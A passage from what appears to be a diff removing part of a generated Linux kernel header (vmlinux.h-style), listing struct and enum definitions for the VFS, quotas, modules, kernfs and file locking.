int (*d_delete)(const struct dentry *); - int (*d_init)(struct dentry *); - void (*d_release)(struct dentry *); - void (*d_prune)(struct dentry *); - void (*d_iput)(struct dentry *, struct inode *); - char * (*d_dname)(struct dentry *, char *, int); - struct vfsmount * (*d_automount)(struct path *); - int (*d_manage)(const struct path *, bool); - struct dentry * (*d_real)(struct dentry *, const struct inode *); - long: 64; - long: 64; - long: 64; -}; - -struct mtd_info; - -typedef long long int qsize_t; - -struct quota_format_type; - -struct mem_dqinfo { - struct quota_format_type *dqi_format; - int dqi_fmt_id; - struct list_head dqi_dirty_list; - long unsigned int dqi_flags; - unsigned int dqi_bgrace; - unsigned int dqi_igrace; - qsize_t dqi_max_spc_limit; - qsize_t dqi_max_ino_limit; - void *dqi_priv; -}; - -struct quota_format_ops; - -struct quota_info { - unsigned int flags; - struct rw_semaphore dqio_sem; - struct inode *files[3]; - struct mem_dqinfo info[3]; - const struct quota_format_ops *ops[3]; -}; - -struct rcu_sync { - int gp_state; - int gp_count; - wait_queue_head_t gp_wait; - struct callback_head cb_head; -}; - -struct rcuwait { - struct task_struct *task; -}; - -struct percpu_rw_semaphore { - struct rcu_sync rss; - unsigned int *read_count; - struct rcuwait writer; - wait_queue_head_t waiters; - atomic_t block; - struct lockdep_map dep_map; -}; - -struct sb_writers { - int frozen; - wait_queue_head_t wait_unfrozen; - struct percpu_rw_semaphore rw_sem[3]; -}; - -typedef struct { - __u8 b[16]; -} uuid_t; - -struct shrink_control; - -struct shrinker { - long unsigned int (*count_objects)(struct shrinker *, struct shrink_control *); - long unsigned int (*scan_objects)(struct shrinker *, struct shrink_control *); - long int batch; - int seeks; - unsigned int flags; - struct list_head list; - int id; - atomic_long_t *nr_deferred; -}; - -struct list_lru_node; - -struct list_lru { - struct list_lru_node *node; - struct list_head list; - int shrinker_id; - bool memcg_aware; - struct xarray xa; -}; - -struct super_operations; - -struct dquot_operations; - -struct quotactl_ops; - -struct export_operations; - -struct xattr_handler; - -struct block_device; - -struct super_block { - struct list_head s_list; - dev_t s_dev; - unsigned char s_blocksize_bits; - long unsigned int s_blocksize; - loff_t s_maxbytes; - struct file_system_type *s_type; - const struct super_operations *s_op; - const struct dquot_operations *dq_op; - const struct quotactl_ops *s_qcop; - const struct export_operations *s_export_op; - long unsigned int s_flags; - long unsigned int s_iflags; - long unsigned int s_magic; - struct dentry *s_root; - struct rw_semaphore s_umount; - int s_count; - atomic_t s_active; - void *s_security; - const struct xattr_handler **s_xattr; - struct hlist_bl_head s_roots; - struct list_head s_mounts; - struct block_device *s_bdev; - struct backing_dev_info *s_bdi; - struct mtd_info *s_mtd; - struct hlist_node s_instances; - unsigned int s_quota_types; - struct quota_info s_dquot; - struct sb_writers s_writers; - void *s_fs_info; - u32 s_time_gran; - time64_t s_time_min; - time64_t s_time_max; - __u32 s_fsnotify_mask; - struct fsnotify_mark_connector *s_fsnotify_marks; - char s_id[32]; - uuid_t s_uuid; - unsigned int s_max_links; - fmode_t s_mode; - struct mutex s_vfs_rename_mutex; - const char *s_subtype; - const struct dentry_operations *s_d_op; - struct shrinker s_shrink; - atomic_long_t s_remove_count; - atomic_long_t s_fsnotify_connectors; - int s_readonly_remount; - errseq_t s_wb_err; - struct workqueue_struct *s_dio_done_wq; - struct hlist_head s_pins; - struct user_namespace *s_user_ns; - struct list_lru s_dentry_lru; - struct list_lru s_inode_lru; - struct callback_head rcu; - struct work_struct destroy_work; - struct mutex s_sync_lock; - int s_stack_depth; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - spinlock_t s_inode_list_lock; - struct list_head s_inodes; - spinlock_t s_inode_wblist_lock; - struct list_head s_inodes_wb; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct vfsmount { - struct dentry *mnt_root; - struct super_block *mnt_sb; - int mnt_flags; - struct user_namespace *mnt_userns; -}; - -struct shrink_control { - gfp_t gfp_mask; - int nid; - long unsigned int nr_to_scan; - long unsigned int nr_scanned; - struct mem_cgroup *memcg; -}; - -struct list_lru_one { - struct list_head list; - long int nr_items; -}; - -struct list_lru_node { - spinlock_t lock; - struct list_lru_one lru; - long int nr_items; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -enum migrate_mode { - MIGRATE_ASYNC = 0, - MIGRATE_SYNC_LIGHT = 1, - MIGRATE_SYNC = 2, - MIGRATE_SYNC_NO_COPY = 3, -}; - -struct exception_table_entry { - int insn; - int fixup; - int data; -}; - -struct key_tag { - struct callback_head rcu; - refcount_t usage; - bool removed; -}; - -typedef int (*request_key_actor_t)(struct key *, void *); - -struct key_preparsed_payload; - -struct key_match_data; - -struct kernel_pkey_params; - -struct kernel_pkey_query; - -struct key_type { - const char *name; - size_t def_datalen; - unsigned int flags; - int (*vet_description)(const char *); - int (*preparse)(struct key_preparsed_payload *); - void (*free_preparse)(struct key_preparsed_payload *); - int (*instantiate)(struct key *, struct key_preparsed_payload *); - int (*update)(struct key *, struct key_preparsed_payload *); - int (*match_preparse)(struct key_match_data *); - void (*match_free)(struct key_match_data *); - void (*revoke)(struct key *); - void (*destroy)(struct key *); - void (*describe)(const struct key *, struct seq_file *); - long int (*read)(const struct key *, char *, size_t); - request_key_actor_t request_key; - struct key_restriction * (*lookup_restriction)(const char *); - int (*asym_query)(const struct kernel_pkey_params *, struct kernel_pkey_query *); - int (*asym_eds_op)(struct kernel_pkey_params *, const void *, void *); - int (*asym_verify_signature)(struct kernel_pkey_params *, const void *, const void *); - struct list_head link; - struct lock_class_key lock_class; -}; - -typedef int (*key_restrict_link_func_t)(struct key *, const struct key_type *, const union key_payload *, struct key *); - -struct key_restriction { - key_restrict_link_func_t check; - struct key *key; - struct key_type *keytype; -}; - -struct percpu_counter { - raw_spinlock_t lock; - s64 count; - struct list_head list; - s32 *counters; -}; - -struct user_struct { - refcount_t __count; - struct percpu_counter epoll_watches; - long unsigned int unix_inflight; - atomic_long_t pipe_bufs; - struct hlist_node uidhash_node; - kuid_t uid; - atomic_long_t locked_vm; - struct ratelimit_state ratelimit; -}; - -struct group_info { - atomic_t usage; - int ngroups; - kgid_t gid[0]; -}; - -struct core_thread { - struct task_struct *task; - struct core_thread *next; -}; - -struct core_state { - atomic_t nr_threads; - struct core_thread dumper; - struct completion startup; -}; - -struct delayed_call { - void (*fn)(void *); - void *arg; -}; - -typedef struct { - uid_t val; -} vfsuid_t; - -typedef struct { - gid_t val; -} vfsgid_t; - -struct iattr { - unsigned int ia_valid; - umode_t ia_mode; - union { - kuid_t ia_uid; - vfsuid_t ia_vfsuid; - }; - union { - kgid_t ia_gid; - vfsgid_t ia_vfsgid; - }; - loff_t ia_size; - struct timespec64 ia_atime; - struct timespec64 ia_mtime; - struct timespec64 ia_ctime; - struct file *ia_file; -}; - -typedef __kernel_uid32_t projid_t; - -typedef struct { - projid_t val; -} kprojid_t; - -enum quota_type { - USRQUOTA = 0, - GRPQUOTA = 1, - PRJQUOTA = 2, -}; - -struct kqid { - union { - kuid_t uid; - kgid_t gid; - kprojid_t projid; - }; - enum quota_type type; -}; - -struct mem_dqblk { - qsize_t dqb_bhardlimit; - qsize_t dqb_bsoftlimit; - qsize_t dqb_curspace; - qsize_t dqb_rsvspace; - qsize_t dqb_ihardlimit; - qsize_t dqb_isoftlimit; - qsize_t dqb_curinodes; - time64_t dqb_btime; - time64_t dqb_itime; -}; - -struct dquot { - struct hlist_node dq_hash; - struct list_head dq_inuse; - struct list_head dq_free; - struct list_head dq_dirty; - struct mutex dq_lock; - spinlock_t dq_dqb_lock; - atomic_t dq_count; - struct super_block *dq_sb; - struct kqid dq_id; - loff_t dq_off; - long unsigned int dq_flags; - struct mem_dqblk dq_dqb; -}; - -struct quota_format_type { - int qf_fmt_id; - const struct quota_format_ops *qf_ops; - struct module *qf_owner; - struct quota_format_type *qf_next; -}; - -struct quota_format_ops { - int (*check_quota_file)(struct super_block *, int); - int (*read_file_info)(struct super_block *, int); - int (*write_file_info)(struct super_block *, int); - int (*free_file_info)(struct super_block *, int); - int (*read_dqblk)(struct dquot *); - int (*commit_dqblk)(struct dquot *); - int (*release_dqblk)(struct dquot *); - int (*get_next_id)(struct super_block *, struct kqid *); -}; - -struct dquot_operations { - int (*write_dquot)(struct dquot *); - struct dquot * (*alloc_dquot)(struct super_block *, int); - void (*destroy_dquot)(struct dquot *); - int (*acquire_dquot)(struct dquot *); - int (*release_dquot)(struct dquot *); - int (*mark_dirty)(struct dquot *); - int (*write_info)(struct super_block *, int); - qsize_t * (*get_reserved_space)(struct inode *); - int (*get_projid)(struct inode *, kprojid_t *); - int (*get_inode_usage)(struct inode *, qsize_t *); - int (*get_next_id)(struct super_block *, struct kqid *); -}; - -struct qc_dqblk { - int d_fieldmask; - u64 d_spc_hardlimit; - u64 d_spc_softlimit; - u64 d_ino_hardlimit; - u64 d_ino_softlimit; - u64 d_space; - u64 d_ino_count; - s64 d_ino_timer; - s64 d_spc_timer; - int d_ino_warns; - int d_spc_warns; - u64 d_rt_spc_hardlimit; - u64 d_rt_spc_softlimit; - u64 d_rt_space; - s64 d_rt_spc_timer; - int d_rt_spc_warns; -}; - -struct qc_type_state { - unsigned int flags; - unsigned int spc_timelimit; - unsigned int ino_timelimit; - unsigned int rt_spc_timelimit; - unsigned int spc_warnlimit; - unsigned int ino_warnlimit; - unsigned int rt_spc_warnlimit; - long long unsigned int ino; - blkcnt_t blocks; - blkcnt_t nextents; -}; - -struct qc_state { - unsigned int s_incoredqs; - struct qc_type_state s_state[3]; -}; - -struct qc_info { - int i_fieldmask; - unsigned int i_flags; - unsigned int i_spc_timelimit; - unsigned int i_ino_timelimit; - unsigned int i_rt_spc_timelimit; - unsigned int i_spc_warnlimit; - unsigned int i_ino_warnlimit; - unsigned int i_rt_spc_warnlimit; -}; - -struct quotactl_ops { - int (*quota_on)(struct super_block *, int, int, const struct path *); - int (*quota_off)(struct super_block *, int); - int (*quota_enable)(struct super_block *, unsigned int); - int (*quota_disable)(struct super_block *, unsigned int); - int (*quota_sync)(struct super_block *, int); - int (*set_info)(struct super_block *, int, struct qc_info *); - int (*get_dqblk)(struct super_block *, struct kqid, struct qc_dqblk *); - int (*get_nextdqblk)(struct super_block *, struct kqid *, struct qc_dqblk *); - int (*set_dqblk)(struct super_block *, struct kqid, struct qc_dqblk *); - int (*get_state)(struct super_block *, struct qc_state *); - int (*rm_xquota)(struct super_block *, unsigned int); -}; - -enum module_state { - MODULE_STATE_LIVE = 0, - MODULE_STATE_COMING = 1, - MODULE_STATE_GOING = 2, - MODULE_STATE_UNFORMED = 3, -}; - -struct kset; - -struct kobj_type; - -struct kernfs_node; - -struct kobject { - const char *name; - struct list_head entry; - struct kobject *parent; - struct kset *kset; - const struct kobj_type *ktype; - struct kernfs_node *sd; - struct kref kref; - unsigned int state_initialized: 1; - unsigned int state_in_sysfs: 1; - unsigned int state_add_uevent_sent: 1; - unsigned int state_remove_uevent_sent: 1; - unsigned int uevent_suppress: 1; -}; - -struct module_param_attrs; - -struct module_kobject { - struct kobject kobj; - struct module *mod; - struct kobject *drivers_dir; - struct module_param_attrs *mp; - struct completion *kobj_completion; -}; - -struct latch_tree_node { - struct rb_node node[2]; -}; - -struct mod_tree_node { - struct module *mod; - struct latch_tree_node node; -}; - -struct module_layout { - void *base; - unsigned int size; - unsigned int text_size; - unsigned int ro_size; - unsigned int ro_after_init_size; - struct mod_tree_node mtn; -}; - -struct mod_arch_specific { - unsigned int num_orcs; - int *orc_unwind_ip; - struct orc_entry *orc_unwind; -}; - -struct elf64_sym; - -typedef struct elf64_sym Elf64_Sym; - -struct mod_kallsyms { - Elf64_Sym *symtab; - unsigned int num_symtab; - char *strtab; - char *typetab; -}; - -struct module_attribute; - -struct kernel_param; - -struct module_sect_attrs; - -struct module_notes_attrs; - -struct trace_event_call; - -struct trace_eval_map; - -struct error_injection_entry; - -struct module { - enum module_state state; - struct list_head list; - char name[56]; - struct module_kobject mkobj; - struct module_attribute *modinfo_attrs; - const char *version; - const char *srcversion; - struct kobject *holders_dir; - const struct kernel_symbol *syms; - const s32 *crcs; - unsigned int num_syms; - struct mutex param_lock; - struct kernel_param *kp; - unsigned int num_kp; - unsigned int num_gpl_syms; - const struct kernel_symbol *gpl_syms; - const s32 *gpl_crcs; - bool using_gplonly_symbols; - bool sig_ok; - bool async_probe_requested; - unsigned int num_exentries; - struct exception_table_entry *extable; - int (*init)(); - long: 64; - long: 64; - struct module_layout core_layout; - struct module_layout init_layout; - struct mod_arch_specific arch; - long unsigned int taints; - unsigned int num_bugs; - struct list_head bug_list; - struct bug_entry *bug_table; - struct mod_kallsyms *kallsyms; - struct mod_kallsyms core_kallsyms; - struct module_sect_attrs *sect_attrs; - struct module_notes_attrs *notes_attrs; - char *args; - void *percpu; - unsigned int percpu_size; - void *noinstr_text_start; - unsigned int noinstr_text_size; - unsigned int num_tracepoints; - tracepoint_ptr_t *tracepoints_ptrs; - unsigned int num_srcu_structs; - struct srcu_struct **srcu_struct_ptrs; - unsigned int num_bpf_raw_events; - struct bpf_raw_event_map *bpf_raw_events; - unsigned int btf_data_size; - void *btf_data; - struct jump_entry *jump_entries; - unsigned int num_jump_entries; - unsigned int num_trace_bprintk_fmt; - const char **trace_bprintk_fmt_start; - struct trace_event_call **trace_events; - unsigned int num_trace_events; - struct trace_eval_map **trace_evals; - unsigned int num_trace_evals; - unsigned int num_ftrace_callsites; - long unsigned int *ftrace_callsites; - void *kprobes_text_start; - unsigned int kprobes_text_size; - long unsigned int *kprobe_blacklist; - unsigned int num_kprobe_blacklist; - int num_static_call_sites; - struct static_call_site *static_call_sites; - struct list_head source_list; - struct list_head target_list; - void (*exit)(); - atomic_t refcnt; - struct error_injection_entry *ei_funcs; - unsigned int num_ei_funcs; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct writeback_control; - -struct readahead_control; - -struct swap_info_struct; - -struct address_space_operations { - int (*writepage)(struct page *, struct writeback_control *); - int (*read_folio)(struct file *, struct folio *); - int (*writepages)(struct address_space *, struct writeback_control *); - bool (*dirty_folio)(struct address_space *, struct folio *); - void (*readahead)(struct readahead_control *); - int (*write_begin)(struct file *, struct address_space *, loff_t, unsigned int, struct page **, void **); - int (*write_end)(struct file *, struct address_space *, loff_t, unsigned int, unsigned int, struct page *, void *); - sector_t (*bmap)(struct address_space *, sector_t); - void (*invalidate_folio)(struct folio *, size_t, size_t); - bool (*release_folio)(struct folio *, gfp_t); - void (*free_folio)(struct folio *); - ssize_t (*direct_IO)(struct kiocb *, struct iov_iter *); - int (*migrate_folio)(struct address_space *, struct folio *, struct folio *, enum migrate_mode); - int (*launder_folio)(struct folio *); - bool (*is_partially_uptodate)(struct folio *, size_t, size_t); - void (*is_dirty_writeback)(struct folio *, bool *, bool *); - int (*error_remove_page)(struct address_space *, struct page *); - int (*swap_activate)(struct swap_info_struct *, struct file *, sector_t *); - void (*swap_deactivate)(struct file *); - int (*swap_rw)(struct kiocb *, struct iov_iter *); -}; - -struct fiemap_extent_info; - -struct fileattr; - -struct inode_operations { - struct dentry * (*lookup)(struct inode *, struct dentry *, unsigned int); - const char * (*get_link)(struct dentry *, struct inode *, struct delayed_call *); - int (*permission)(struct user_namespace *, struct inode *, int); - struct posix_acl * (*get_acl)(struct inode *, int, bool); - int (*readlink)(struct dentry *, char *, int); - int (*create)(struct user_namespace *, struct inode *, struct dentry *, umode_t, bool); - int (*link)(struct dentry *, struct inode *, struct dentry *); - int (*unlink)(struct inode *, struct dentry *); - int (*symlink)(struct user_namespace *, struct inode *, struct dentry *, const char *); - int (*mkdir)(struct user_namespace *, struct inode *, struct dentry *, umode_t); - int (*rmdir)(struct inode *, struct dentry *); - int (*mknod)(struct user_namespace *, struct inode *, struct dentry *, umode_t, dev_t); - int (*rename)(struct user_namespace *, struct inode *, struct dentry *, struct inode *, struct dentry *, unsigned int); - int (*setattr)(struct user_namespace *, struct dentry *, struct iattr *); - int (*getattr)(struct user_namespace *, const struct path *, struct kstat *, u32, unsigned int); - ssize_t (*listxattr)(struct dentry *, char *, size_t); - int (*fiemap)(struct inode *, struct fiemap_extent_info *, u64, u64); - int (*update_time)(struct inode *, struct timespec64 *, int); - int (*atomic_open)(struct inode *, struct dentry *, struct file *, unsigned int, umode_t); - int (*tmpfile)(struct user_namespace *, struct inode *, struct file *, umode_t); - int (*set_acl)(struct user_namespace *, struct inode *, struct posix_acl *, int); - int (*fileattr_set)(struct user_namespace *, struct dentry *, struct fileattr *); - int (*fileattr_get)(struct dentry *, struct fileattr *); - long: 64; -}; - -struct file_lock_context { - spinlock_t flc_lock; - struct list_head flc_flock; - struct list_head flc_posix; - struct list_head flc_lease; -}; - -struct file_lock_operations { - void (*fl_copy_lock)(struct file_lock *, struct file_lock *); - void (*fl_release_private)(struct file_lock *); -}; - -struct nlm_lockowner; - -struct nfs_lock_info { - u32 state; - struct nlm_lockowner *owner; - struct list_head list; -}; - -struct nfs4_lock_state; - -struct nfs4_lock_info { - struct nfs4_lock_state *owner; -}; - -struct fasync_struct; - -struct lock_manager_operations; - -struct file_lock { - struct file_lock *fl_blocker; - struct list_head fl_list; - struct hlist_node fl_link; - struct list_head fl_blocked_requests; - struct list_head fl_blocked_member; - fl_owner_t fl_owner; - unsigned int fl_flags; - unsigned char fl_type; - unsigned int fl_pid; - int fl_link_cpu; - wait_queue_head_t fl_wait; - struct file *fl_file; - loff_t fl_start; - loff_t fl_end; - struct fasync_struct *fl_fasync; - long unsigned int fl_break_time; - long unsigned int fl_downgrade_time; - const struct file_lock_operations *fl_ops; - const struct lock_manager_operations *fl_lmops; - union { - struct nfs_lock_info nfs_fl; - struct nfs4_lock_info nfs4_fl; - struct { - struct list_head link; - int state; - unsigned int debug_id; - } afs; - } fl_u; -}; - -struct lock_manager_operations { - void *lm_mod_owner; - fl_owner_t (*lm_get_owner)(fl_owner_t); - void (*lm_put_owner)(fl_owner_t); - void (*lm_notify)(struct file_lock *); - int (*lm_grant)(struct file_lock *, int); - bool (*lm_break)(struct file_lock *); - int (*lm_change)(struct file_lock *, int, struct list_head *); - void (*lm_setup)(struct file_lock *, void **); - bool (*lm_breaker_owns_lease)(struct file_lock *); - bool (*lm_lock_expirable)(struct file_lock *); - void (*lm_expire_lock)(); -}; - -struct fasync_struct { - rwlock_t fa_lock; - int magic; - int fa_fd; - struct fasync_struct *fa_next; - struct file *fa_file; - struct callback_head fa_rcu; -}; - -struct kstatfs; - -struct super_operations { - struct inode * (*alloc_inode)(struct super_block *); - void (*destroy_inode)(struct inode *); - void (*free_inode)(struct inode *); - void (*dirty_inode)(struct inode *, int); - int (*write_inode)(struct inode *, struct writeback_control *); - int (*drop_inode)(struct inode *); - void (*evict_inode)(struct inode *); - void (*put_super)(struct super_block *); - int (*sync_fs)(struct super_block *, int); - int (*freeze_super)(struct super_block *); - int (*freeze_fs)(struct super_block *); - int (*thaw_super)(struct super_block *); - int (*unfreeze_fs)(struct super_block *); - int (*statfs)(struct dentry *, struct kstatfs *); - int (*remount_fs)(struct super_block *, int *, char *); - void (*umount_begin)(struct super_block *); - int (*show_options)(struct seq_file *, struct dentry *); - int (*show_devname)(struct seq_file *, struct dentry *); - int (*show_path)(struct seq_file *, struct dentry *); - int (*show_stats)(struct seq_file *, struct dentry *); - long int (*nr_cached_objects)(struct super_block *, struct shrink_control *); - long int (*free_cached_objects)(struct super_block *, struct shrink_control *); -}; - -struct iomap; - -struct fid; - -struct export_operations { - int (*encode_fh)(struct inode *, __u32 *, int *, struct inode *); - struct dentry * (*fh_to_dentry)(struct super_block *, struct fid *, int, int); - struct dentry * (*fh_to_parent)(struct super_block *, struct fid *, int, int); - int (*get_name)(struct dentry *, char *, struct dentry *); - struct dentry * (*get_parent)(struct dentry *); - int (*commit_metadata)(struct inode *); - int (*get_uuid)(struct super_block *, u8 *, u32 *, u64 *); - int (*map_blocks)(struct inode *, loff_t, u64, struct iomap *, bool, u32 *); - int (*commit_blocks)(struct inode *, struct iomap *, int, struct iattr *); - u64 (*fetch_iversion)(struct inode *); - long unsigned int flags; -}; - -struct xattr_handler { - const char *name; - const char *prefix; - int flags; - bool (*list)(struct dentry *); - int (*get)(const struct xattr_handler *, struct dentry *, struct inode *, const char *, void *, size_t); - int (*set)(const struct xattr_handler *, struct user_namespace *, struct dentry *, struct inode *, const char *, const void *, size_t, int); -}; - -typedef bool (*filldir_t)(struct dir_context *, const char *, int, loff_t, u64, unsigned int); - -struct dir_context { - filldir_t actor; - loff_t pos; -}; - -struct p_log; - -struct fs_parameter; - -struct fs_parse_result; - -typedef int fs_param_type(struct p_log *, const struct fs_parameter_spec *, struct fs_parameter *, struct fs_parse_result *); - -struct fs_parameter_spec { - const char *name; - fs_param_type *type; - u8 opt; - short unsigned int flags; - const void *data; -}; - -struct membuf { - void *p; - size_t left; -}; - -struct user_regset; - -typedef int user_regset_active_fn(struct task_struct *, const struct user_regset *); - -typedef int user_regset_get2_fn(struct task_struct *, const struct user_regset *, struct membuf); - -typedef int user_regset_set_fn(struct task_struct *, const struct user_regset *, unsigned int, unsigned int, const void *, const void *); - -typedef int user_regset_writeback_fn(struct task_struct *, const struct user_regset *, int); - -struct user_regset { - user_regset_get2_fn *regset_get; - user_regset_set_fn *set; - user_regset_active_fn *active; - user_regset_writeback_fn *writeback; - unsigned int n; - unsigned int size; - unsigned int align; - unsigned int bias; - unsigned int core_note_type; -}; - -struct kernfs_root; - -struct kernfs_elem_dir { - long unsigned int subdirs; - struct rb_root children; - struct kernfs_root *root; - long unsigned int rev; -}; - -struct kernfs_elem_symlink { - struct kernfs_node *target_kn; -}; - -struct kernfs_ops; - -struct kernfs_open_node; - -struct kernfs_elem_attr { - const struct kernfs_ops *ops; - struct kernfs_open_node *open; - loff_t size; - struct kernfs_node *notify_next; -}; - -struct kernfs_iattrs; - -struct kernfs_node { - atomic_t count; - atomic_t active; - struct lockdep_map dep_map; - struct kernfs_node *parent; - const char *name; - struct rb_node rb; - const void *ns; - unsigned int hash; - union { - struct kernfs_elem_dir dir; - struct kernfs_elem_symlink symlink; - struct kernfs_elem_attr attr; - }; - void *priv; - u64 id; - short unsigned int flags; - umode_t mode; - struct kernfs_iattrs *iattr; -}; - -struct kernfs_open_file; - -struct kernfs_ops { - int (*open)(struct kernfs_open_file *); - void (*release)(struct kernfs_open_file *); - int (*seq_show)(struct seq_file *, void *); - void * (*seq_start)(struct seq_file *, loff_t *); - void * (*seq_next)(struct seq_file *, void *, loff_t *); - void (*seq_stop)(struct seq_file *, void *); - ssize_t (*read)(struct kernfs_open_file *, char *, size_t, loff_t); - size_t atomic_write_len; - bool prealloc; - ssize_t (*write)(struct kernfs_open_file *, char *, size_t, loff_t); - __poll_t (*poll)(struct kernfs_open_file *, struct poll_table_struct *); - int (*mmap)(struct kernfs_open_file *, struct vm_area_struct *); -}; - -struct kernfs_open_file { - struct kernfs_node *kn; - struct file *file; - struct seq_file *seq_file; - void *priv; - struct mutex mutex; - struct mutex prealloc_mutex; - int event; - struct list_head list; - char *prealloc_buf; - size_t atomic_write_len; - bool mmapped: 1; - bool released: 1; - const struct vm_operations_struct *vm_ops; -}; - -enum kobj_ns_type { - KOBJ_NS_TYPE_NONE = 0, - KOBJ_NS_TYPE_NET = 1, - KOBJ_NS_TYPES = 2, -}; - -struct sock; - -struct kobj_ns_type_operations { - enum kobj_ns_type type; - bool (*current_may_mount)(); - void * (*grab_current_ns)(); - const void * (*netlink_ns)(struct sock *); - const void * (*initial_ns)(); - void (*drop_ns)(void *); -}; - -struct attribute { - const char *name; - umode_t mode; - bool ignore_lockdep: 1; - struct lock_class_key *key; - struct lock_class_key skey; -}; - -struct bin_attribute; - -struct attribute_group { - const char *name; - umode_t (*is_visible)(struct kobject *, struct attribute *, int); - umode_t (*is_bin_visible)(struct kobject *, struct bin_attribute *, int); - struct attribute **attrs; - struct bin_attribute **bin_attrs; -}; - -struct bin_attribute { - struct attribute attr; - size_t size; - void *private; - struct address_space * (*f_mapping)(); - ssize_t (*read)(struct file *, struct kobject *, struct bin_attribute *, char *, loff_t, size_t); - ssize_t (*write)(struct file *, struct kobject *, struct bin_attribute *, char *, loff_t, size_t); - int (*mmap)(struct file *, struct kobject *, struct bin_attribute *, struct vm_area_struct *); -}; - -struct sysfs_ops { - ssize_t (*show)(struct kobject *, struct attribute *, char *); - ssize_t (*store)(struct kobject *, struct attribute *, const char *, size_t); -}; - -struct kset_uevent_ops; - -struct kset { - struct list_head list; - spinlock_t list_lock; - struct kobject kobj; - const struct kset_uevent_ops *uevent_ops; -}; - -struct kobj_type { - void (*release)(struct kobject *); - const struct sysfs_ops *sysfs_ops; - const struct attribute_group **default_groups; - const struct kobj_ns_type_operations * (*child_ns_type)(struct kobject *); - const void * (*namespace)(struct kobject *); - void (*get_ownership)(struct kobject *, kuid_t *, kgid_t *); -}; - -struct kobj_uevent_env { - char *argv[3]; - char *envp[64]; - int envp_idx; - char buf[2048]; - int buflen; -}; - -struct kset_uevent_ops { - int (* const filter)(struct kobject *); - const char * (* const name)(struct kobject *); - int (* const uevent)(struct kobject *, struct kobj_uevent_env *); -}; - -typedef __u64 Elf64_Addr; - -typedef __u16 Elf64_Half; - -typedef __u32 Elf64_Word; - -typedef __u64 Elf64_Xword; - -struct elf64_sym { - Elf64_Word st_name; - unsigned char st_info; - unsigned char st_other; - Elf64_Half st_shndx; - Elf64_Addr st_value; - Elf64_Xword st_size; -}; - -struct kernel_param_ops { - unsigned int flags; - int (*set)(const char *, const struct kernel_param *); - int (*get)(char *, const struct kernel_param *); - void (*free)(void *); -}; - -struct kparam_string; - -struct kparam_array; - -struct kernel_param { - const char *name; - struct module *mod; - const struct kernel_param_ops *ops; - const u16 perm; - s8 level; - u8 flags; - union { - void *arg; - const struct kparam_string *str; - const struct kparam_array *arr; - }; -}; - -struct kparam_string { - unsigned int maxlen; - char *string; -}; - -struct kparam_array { - unsigned int max; - unsigned int elemsize; - unsigned int *num; - const struct kernel_param_ops *ops; - void *elem; -}; - -struct error_injection_entry { - long unsigned int addr; - int etype; -}; - -struct module_attribute { - struct attribute attr; - ssize_t (*show)(struct module_attribute *, struct module_kobject *, char *); - ssize_t (*store)(struct module_attribute *, struct module_kobject *, const char *, size_t); - void (*setup)(struct module *, const char *); - int (*test)(struct module *); - void (*free)(struct module *); -}; - -struct trace_eval_map { - const char *system; - const char *eval_string; - long unsigned int eval_value; -}; - -enum xstate_copy_mode { - XSTATE_COPY_FP = 0, - XSTATE_COPY_FX = 1, - XSTATE_COPY_XSAVE = 2, -}; - -enum lockdep_wait_type { - LD_WAIT_INV = 0, - LD_WAIT_FREE = 1, - LD_WAIT_SPIN = 2, - LD_WAIT_CONFIG = 2, - LD_WAIT_SLEEP = 3, - LD_WAIT_MAX = 4, -}; - -enum lockdep_lock_type { - LD_LOCK_NORMAL = 0, - LD_LOCK_PERCPU = 1, - LD_LOCK_MAX = 2, -}; - -enum { - UNAME26 = 131072, - ADDR_NO_RANDOMIZE = 262144, - FDPIC_FUNCPTRS = 524288, - MMAP_PAGE_ZERO = 1048576, - ADDR_COMPAT_LAYOUT = 2097152, - READ_IMPLIES_EXEC = 4194304, - ADDR_LIMIT_32BIT = 8388608, - SHORT_INODE = 16777216, - WHOLE_SECONDS = 33554432, - STICKY_TIMEOUTS = 67108864, - ADDR_LIMIT_3GB = 134217728, -}; - -enum tlb_infos { - ENTRIES = 0, - NR_INFO = 1, -}; - -enum pcpu_fc { - PCPU_FC_AUTO = 0, - PCPU_FC_EMBED = 1, - PCPU_FC_PAGE = 2, - PCPU_FC_NR = 3, -}; - -enum hrtimer_base_type { - HRTIMER_BASE_MONOTONIC = 0, - HRTIMER_BASE_REALTIME = 1, - HRTIMER_BASE_BOOTTIME = 2, - HRTIMER_BASE_TAI = 3, - HRTIMER_BASE_MONOTONIC_SOFT = 4, - HRTIMER_BASE_REALTIME_SOFT = 5, - HRTIMER_BASE_BOOTTIME_SOFT = 6, - HRTIMER_BASE_TAI_SOFT = 7, - HRTIMER_MAX_CLOCK_BASES = 8, -}; - -enum node_states { - N_POSSIBLE = 0, - N_ONLINE = 1, - N_NORMAL_MEMORY = 2, - N_HIGH_MEMORY = 2, - N_MEMORY = 3, - N_CPU = 4, - N_GENERIC_INITIATOR = 5, - NR_NODE_STATES = 6, -}; - -enum { - MM_FILEPAGES = 0, - MM_ANONPAGES = 1, - MM_SWAPENTS = 2, - MM_SHMEMPAGES = 3, - NR_MM_COUNTERS = 4, -}; - -enum rseq_cs_flags_bit { - RSEQ_CS_FLAG_NO_RESTART_ON_PREEMPT_BIT = 0, - RSEQ_CS_FLAG_NO_RESTART_ON_SIGNAL_BIT = 1, - RSEQ_CS_FLAG_NO_RESTART_ON_MIGRATE_BIT = 2, -}; - -enum { - TASK_COMM_LEN = 16, -}; - -enum perf_event_task_context { - perf_invalid_context = -1, - perf_hw_context = 0, - perf_sw_context = 1, - perf_nr_task_contexts = 2, -}; - -enum rseq_event_mask_bits { - RSEQ_EVENT_PREEMPT_BIT = 0, - RSEQ_EVENT_SIGNAL_BIT = 1, - RSEQ_EVENT_MIGRATE_BIT = 2, -}; - -enum migratetype { - MIGRATE_UNMOVABLE = 0, - MIGRATE_MOVABLE = 1, - MIGRATE_RECLAIMABLE = 2, - MIGRATE_PCPTYPES = 3, - MIGRATE_HIGHATOMIC = 3, - MIGRATE_CMA = 4, - MIGRATE_ISOLATE = 5, - MIGRATE_TYPES = 6, -}; - -enum numa_stat_item { - NUMA_HIT = 0, - NUMA_MISS = 1, - NUMA_FOREIGN = 2, - NUMA_INTERLEAVE_HIT = 3, - NUMA_LOCAL = 4, - NUMA_OTHER = 5, - NR_VM_NUMA_EVENT_ITEMS = 6, -}; - -enum zone_stat_item { - NR_FREE_PAGES = 0, - NR_ZONE_LRU_BASE = 1, 